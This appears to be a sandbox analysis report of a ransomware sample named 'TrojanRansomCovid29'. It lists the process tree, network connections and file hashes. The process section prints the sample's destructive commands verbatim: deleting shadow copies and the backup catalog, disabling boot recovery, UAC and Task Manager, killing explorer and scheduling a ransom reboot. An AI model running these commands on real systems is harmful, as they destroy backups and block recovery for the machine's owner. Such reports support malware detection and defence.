C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Desktop\UnblockPublish.7z"

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe

"C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\TrojanRansomCovid29.bat" "

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\fakeerror.vbs"

C:\Windows\SysWOW64\PING.EXE

ping localhost -n 2

C:\Windows\SysWOW64\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Windows\SysWOW64\reg.exe

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f

C:\Windows\SysWOW64\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f

C:\Windows\SysWOW64\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f

C:\Windows\SysWOW64\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f

C:\Windows\SysWOW64\reg.exe

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\reg.exe

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\mbr.exe

mbr.exe

C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\Cov29Cry.exe

Cov29Cry.exe

C:\Windows\SysWOW64\shutdown.exe

shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"

C:\Windows\SysWOW64\PING.EXE

ping localhost -n 9

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Roaming\svchost.exe

"C:\Users\Admin\AppData\Roaming\svchost.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete

C:\Windows\system32\vssadmin.exe

vssadmin delete shadows /all /quiet

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled no

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet

C:\Windows\system32\wbadmin.exe

wbadmin delete catalog -quiet

C:\Windows\system32\wbengine.exe

"C:\Windows\system32\wbengine.exe"

C:\Windows\System32\vdsldr.exe

C:\Windows\System32\vdsldr.exe -Embedding

C:\Windows\System32\vds.exe

C:\Windows\System32\vds.exe

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Windows\system32\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Users\Admin\AppData\Local\Temp\1E8D.tmp\Cov29LockScreen.exe

Cov29LockScreen.exe

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe

"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca

C:\Users\Admin\AppData\Local\Temp\D32B.tmp\rundll86.exe

rundll86.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

Network

Country Destination Domain Proto
US 8.8.8.8:53 r15stv.itch.io udp
US 173.255.250.29:443 r15stv.itch.io tcp
US 173.255.250.29:443 r15stv.itch.io tcp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 187.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 29.250.255.173.in-addr.arpa udp
US 8.8.8.8:53 static.itch.io udp
US 104.26.8.198:443 static.itch.io tcp
US 104.26.8.198:443 static.itch.io tcp
US 104.26.8.198:443 static.itch.io tcp
US 104.26.8.198:443 static.itch.io tcp
US 104.26.8.198:443 static.itch.io tcp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 104.26.8.198:443 static.itch.io tcp
US 8.8.8.8:53 img.itch.zone udp
GB 104.77.160.220:443 img.itch.zone tcp
US 104.26.8.198:443 static.itch.io tcp
GB 104.77.160.220:443 img.itch.zone tcp
GB 104.77.160.220:443 img.itch.zone tcp
GB 104.77.160.220:443 img.itch.zone tcp
US 173.255.250.29:443 r15stv.itch.io tcp
US 173.255.250.29:443 r15stv.itch.io tcp
US 173.255.250.29:443 r15stv.itch.io tcp
US 173.255.250.29:443 r15stv.itch.io tcp
GB 104.77.160.220:443 img.itch.zone tcp
GB 104.77.160.220:443 img.itch.zone tcp
US 8.8.8.8:53 apps.identrust.com udp
GB 96.17.179.184:80 apps.identrust.com tcp
US 8.8.8.8:53 198.8.26.104.in-addr.arpa udp
US 8.8.8.8:53 220.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 40.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 206.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 184.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 203.33.253.131.in-addr.arpa udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 itchio-mirror.cb031a832f44726753d6267436f3b414.r2.cloudflarestorage.com udp
US 104.18.8.90:443 itchio-mirror.cb031a832f44726753d6267436f3b414.r2.cloudflarestorage.com tcp
US 8.8.8.8:53 itch.io udp
US 104.18.8.90:443 itchio-mirror.cb031a832f44726753d6267436f3b414.r2.cloudflarestorage.com tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 142.250.179.130:443 googleads.g.doubleclick.net tcp
NL 142.250.179.130:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 162.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 130.179.250.142.in-addr.arpa udp
NL 142.250.179.130:443 googleads.g.doubleclick.net udp
US 173.255.250.29:443 itch.io tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
NL 142.250.179.129:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 90.8.18.104.in-addr.arpa udp
US 8.8.8.8:53 100.5.17.2.in-addr.arpa udp
US 173.255.250.29:443 itch.io tcp
NL 142.250.179.129:443 tpc.googlesyndication.com udp
US 8.8.8.8:53 www.google.com udp
NL 142.250.179.196:443 www.google.com tcp
NL 142.250.179.196:443 www.google.com tcp
US 8.8.8.8:53 129.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 196.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 3.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 42.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 35.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 75.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 17.134.221.88.in-addr.arpa udp
N/A 127.0.0.1:56761 tcp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 content-signature-2.cdn.mozilla.net udp
US 8.8.8.8:53 shavar.services.mozilla.com udp
US 8.8.8.8:53 push.services.mozilla.com udp
US 34.117.237.239:443 contile.services.mozilla.com tcp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 44.230.91.85:443 shavar.services.mozilla.com tcp
US 34.160.144.191:443 content-signature-2.cdn.mozilla.net tcp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 firefox.settings.services.mozilla.com udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 34.149.100.209:443 firefox.settings.services.mozilla.com tcp
US 34.107.243.93:443 autopush.prod.mozaws.net tcp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 tracking-protection.cdn.mozilla.net udp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 8.8.8.8:53 tracking-protection.prod.mozaws.net udp
US 8.8.8.8:53 tracking-protection.prod.mozaws.net udp
US 8.8.8.8:53 85.91.230.44.in-addr.arpa udp
US 8.8.8.8:53 tracking-protection.cdn.mozilla.net udp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
N/A 127.0.0.1:56768 tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 8.8.8.8:53 tracking-protection.prod.mozaws.net udp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 8.8.8.8:53 www.google.com udp
NL 142.250.179.196:443 www.google.com tcp
US 8.8.8.8:53 www.google.com udp
NL 142.250.179.196:443 www.google.com udp
US 34.149.100.209:443 prod.remote-settings.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 id.google.com udp
NL 142.250.179.195:443 id.google.com tcp
US 8.8.8.8:53 id.google.com udp
US 8.8.8.8:53 id.google.com udp
NL 142.250.179.195:443 id.google.com udp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 apis.google.com udp
NL 216.58.214.14:443 apis.google.com tcp
US 8.8.8.8:53 plus.l.google.com udp
US 8.8.8.8:53 plus.l.google.com udp
NL 216.58.214.14:443 plus.l.google.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 216.58.214.2:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
NL 216.58.214.2:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 14.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 2.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
DE 140.82.121.4:443 github.com tcp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 4.121.82.140.in-addr.arpa udp
US 8.8.8.8:53 github.githubassets.com udp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 8.8.8.8:53 github.githubassets.com udp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 repository-images.githubusercontent.com udp
US 185.199.108.133:443 repository-images.githubusercontent.com tcp
US 8.8.8.8:53 repository-images.githubusercontent.com udp
US 8.8.8.8:53 repository-images.githubusercontent.com udp
US 8.8.8.8:53 154.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 140.82.114.21:443 collector.github.com tcp
US 140.82.114.21:443 collector.github.com tcp
DE 140.82.121.6:443 api.github.com tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 6.121.82.140.in-addr.arpa udp
US 8.8.8.8:53 21.114.82.140.in-addr.arpa udp
US 8.8.8.8:53 github.githubassets.com udp
US 8.8.8.8:53 repository-images.githubusercontent.com udp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 185.199.111.133:443 camo.githubusercontent.com tcp
US 185.199.111.133:443 camo.githubusercontent.com tcp
US 185.199.108.133:443 camo.githubusercontent.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 8.8.8.8:53 133.111.199.185.in-addr.arpa udp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 185.199.108.133:443 avatars.githubusercontent.com tcp
US 8.8.8.8:53 avatars.githubusercontent.com udp
NL 142.250.179.196:443 www.google.com udp
NL 142.250.179.195:443 id.google.com udp
US 8.8.8.8:53 i.ytimg.com udp
NL 142.251.36.22:443 i.ytimg.com tcp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 i.ytimg.com udp
NL 216.58.214.14:443 plus.l.google.com udp
NL 142.251.36.22:443 i.ytimg.com udp
NL 216.58.214.2:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 22.36.251.142.in-addr.arpa udp
US 8.8.8.8:53 www.youtube.com udp
NL 172.217.23.206:443 www.youtube.com tcp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
NL 172.217.23.206:443 youtube-ui.l.google.com udp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 8.8.8.8:53 206.23.217.172.in-addr.arpa udp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 23.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
DE 140.82.121.4:443 github.com tcp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 api.github.com udp
DE 140.82.121.6:443 api.github.com tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 34.117.237.239:443 contile.services.mozilla.com tcp
US 8.8.8.8:53 contile.services.mozilla.com udp

Files

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 1eb86108cb8f5a956fdf48efbd5d06fe
SHA1 7b2b299f753798e4891df2d9cbf30f94b39ef924
SHA256 1b53367e0041d54af89e7dd59733231f5da1393c551ed2b943c89166c0baca40
SHA512 e2a661437688a4a01a6eb3b2bd7979ecf96b806f5a487d39354a7f0d44cb693a3b1c2cf6b1247b04e4106cc816105e982569572042bdddb3cd5bec23b4fce29d

\??\pipe\LOCAL\crashpad_1548_RJXJJTQZMZSEUGPY

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 f35bb0615bb9816f562b83304e456294
SHA1 1049e2bd3e1bbb4cea572467d7c4a96648659cb4
SHA256 05e80abd624454e5b860a08f40ddf33d672c3fed319aac180b7de5754bc07b71
SHA512 db9100f3e324e74a9c58c7d9f50c25eaa4c6c4553c93bab9b80c6f7bef777db04111ebcd679f94015203b240fe9f4f371cae0d4290ec891a4173c746ff4b11c1

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 148d2ebea122cb95c0aa26b8676a995c
SHA1 8b68d2087228fe8b51bf9d7dc9e30ff624abb00b
SHA256 708b3c3755d90028e2be651828a196f8a474edf346699379631e5a71a0e7e24f
SHA512 d25a864017480978387d3142388717164e856a29f23313a45804344a653c52a67c9ba8d2ab751c85e9e2f0769fc2c52c3388a93469dd3f43ebaa03a5817f062f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\4822338f-cecb-466b-8ffa-84509713e18b.tmp

MD5 8e0e721356bd94930721ca2bcaa602b7
SHA1 29d8514c2060739df67e0ba608dbe75490766278
SHA256 ba2e2eec98ba47a5cc092c1ff06274e3aaefae23a29380124aab05f4de29f8c9
SHA512 8a0109ee619b09238d82076b75c55c4567d856620598470ab8b76a575547e2af0a7f63e87e3ad2b70f657ba5c2fafaf65b34971c9bd7e418b22ef902008a6ee8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 21917303171d979aa47fcfed239e9cdd
SHA1 a2c7c3e19bd78da50a8edba28cf8d3d87c176033
SHA256 94d1b5e030160775b85ebf16bc3b8c08db992ad9ef89cdc5c9e20a17e45c6c5a
SHA512 f3f517c4af1bf5d2ed51e0e7bbe4d7844fcc21adcbc275dbf218dc3714ddcd52cd731211e7f343a19cc0373e9665bdd604c1513425eff6be169de735d3903120

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 edba2f3b690727752e1d41b4f84db24c
SHA1 d4765ecd32e519bcd0190cab72a210be5ce88f67
SHA256 53b4971becf2fd838be1535041cd4dba5b32b15f22f44e48320994db21c71053
SHA512 e823b8fb02715d0115c4df654bb37cd43738f67a63946f6cc5748c7412ec8095255940773aee2697395e46383adf9dda12cefaad67122e9bbf7dad8f5b2442f8

C:\Users\Admin\Downloads\Unconfirmed 777166.crdownload

MD5 6a4853cd0584dc90067e15afb43c4962
SHA1 ae59bbb123e98dc8379d08887f83d7e52b1b47fc
SHA256 ccb9502bf8ba5becf8b758ca04a5625c30b79e2d10d2677cc43ae4253e1288ec
SHA512 feb223e0de9bd64e32dc4f3227e175b58196b5e614bca8c2df0bbca2442a564e39d66bcd465154149dc7ebbd3e1ca644ed09d9a9174b52236c76e7388cb9d996

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 7f9b5773eef5ae6e447a36e741cac137
SHA1 e1fb2f7eef883ce11bec548ddad38e638137f019
SHA256 790759cd6bfe213227d1566a6262a1707c5a95b851d73e8355ff478cb885e9f8
SHA512 d96c9edf24254a1d1a3031d469e4d0c5d90caaa9aafc9f4812d230f083b1c250a9a4a6926f385a4f145e99068560d5cc838a6382ab7b87fc3dee506b4f57a87c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 26106ac7c22170c3a3b26da2e8a8d1ff
SHA1 821632c6e177b8947cc107920176278b4838fc40
SHA256 6f5786732d449ce8d422eca75b303a8215a2f88246da1f5c0e5571811d3c77b4
SHA512 3bf45fe7408319404ca5fe5fd8cd11de48017529c4f63c13932681caa238534dacb3dbf51ba6662ecad7c18cb651bc9eb30dceadbf86e0cd90bef085769d081c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57cbfb.TMP

MD5 ab229dc69dde844aed2482c1cea496cb
SHA1 4f15a54b56d116f3de1c0e52ebc20197ed58d12e
SHA256 01f53acd2f2baac510994b9604d4a070a7fce1707b7a4246871fcb82ce4fc56f
SHA512 3e384a450dbc2ef29c9d26e7eb0b83bfdedd92afe37aea98fc08e99e216752883823c683a85d434d84b391ad395d821bd9cc509da2fd00d4fd8f41f756b59e25

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 06d9f65d9ed0aa4cfeb50c9fd89f6541
SHA1 9574f503ac3bff0622b38cc70eb34aa7e94b2f72
SHA256 14c53be18b0c52a162f07fd4a6902e9f0ab5a55f5f7a29a2db5f8d2c4ab1bee1
SHA512 2e925721730e7d506de20808b76a39f712fef694dfacf01a64764ded057de81253843a05e18d9a034b450ed60651eb97eeaf1f4e47c80666892e6c99ea1bc88a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 a726e8001461b0b14e9c1b4fdd0b2868
SHA1 746c52c46225f93afd1bd0620f6f0e58db28643e
SHA256 cc8ad756e58be6744955ec392bb64fa679be0eb327531bf42ad1797e63c23e54
SHA512 3f130eb6bd11d6387f28a1ba5318bc4691f664855fcb12e26e6e96856e9388b54a85eef08a6e0e3a716d3b9ec53456e9605a1ef336a8065219c2650305be6271

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 65641e24677b5bc339a0c97ce7fff844
SHA1 e390af26bb1e62426c663ae704a8e7a037c7b804
SHA256 94a5a4f9d3364f4a9b2659c548157a3166e0839c23a822d1c17ef25fab0612d2
SHA512 758f904953e38296a79b5233af906147df412780cd4a04302993b695601f2b6749fde350781bfc3587538388ba3746a70601a9c4b2ba9b607f456ce91da21f6d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 cfb6b4ffe55d544b38675c9b8900b096
SHA1 a90727733c8e9b3ec374ee000a581c5c29244ce6
SHA256 b59512d22a720329cc4775517eedafcf89a4dbbb366d4bc11f3748f386878b2d
SHA512 30255850bcf2b0560e42584353a790ea291f3c7984ebc77791bcdf316bcbde19df8a6b694405a6eb7a27f8fdca88cfa659f023eaba1dbf19b1c95530b0bd55a0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 10df12d689298456d69938209837f607
